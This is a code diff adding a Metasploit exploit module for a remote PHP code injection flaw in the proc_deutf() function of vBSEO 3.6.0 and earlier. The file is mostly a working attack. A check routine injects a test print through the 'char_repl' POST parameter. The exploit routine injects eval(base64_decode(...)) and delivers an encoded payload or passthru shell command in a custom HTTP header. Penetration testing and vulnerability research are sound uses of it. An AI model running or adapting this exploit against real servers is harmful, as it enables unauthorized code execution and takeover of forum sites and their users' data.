Add vBSEO proc_deutf() Remote Code Execution (Feature #6307)

modules/exploits/multi/http/vbseo_proc_deutf.rb

@@ -0,0 +1,97 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
+			'Description'    => %q{
+					This module exploits a vulnerability in the 'proc_deutf()' function
+				defined in /includes/functions_vbseocp_abstract.php. User input passed through
+				'char_repl' POST parameter isn't properly sanitized before being used in a call
+				to preg_replace() function which uses the 'e' modifier. This can be exploited to
+				inject and execute arbitrary code leveraging the PHP's complex curly syntax.
+			},
+			'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					['BID', '51647'],
+					['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					'Space'       => 8190,
+					'Keys'        => ['php'],
+				},
+			'Platform'       => ['php'],
+			'Arch'           => ARCH_PHP,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'Jan 23 2012',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
+			], self.class)
+	end
+
+	def check
+		flag = rand_text_alpha(rand(10)+10)
+		data = "char_repl='{${print(#{flag})}}'=>"
+
+		uri = ''
+		uri << datastore['URI']
+		uri << '/' if uri[-1,1] != '/'
+		uri << 'vbseocp.php'
+
+		response = send_request_cgi({
+			'method' => "POST",
+			'uri'    => uri,
+			'data'   => "#{data}"
+		})
+
+		if response.code == 200 and response.body =~ /#{flag}/
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		if datastore['CMD']
+			p = "passthru(\"%s\");" % datastore['CMD']
+			p = Rex::Text.encode_base64(p)
+		else
+			p = Rex::Text.encode_base64(payload.encoded)
+		end
+
+		data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"
+
+		uri = ''
+		uri << datastore['URI']
+		uri << '/' if uri[-1,1] != '/'
+		uri << 'vbseocp.php'
+
+		response = send_request_cgi({
+			'method' => 'POST',
+			'uri' => uri,
+			'data' => data,
+			'headers' => { 'Code' => p }
+		})
+
+		vprint_status(response.body)
+	end
+
+end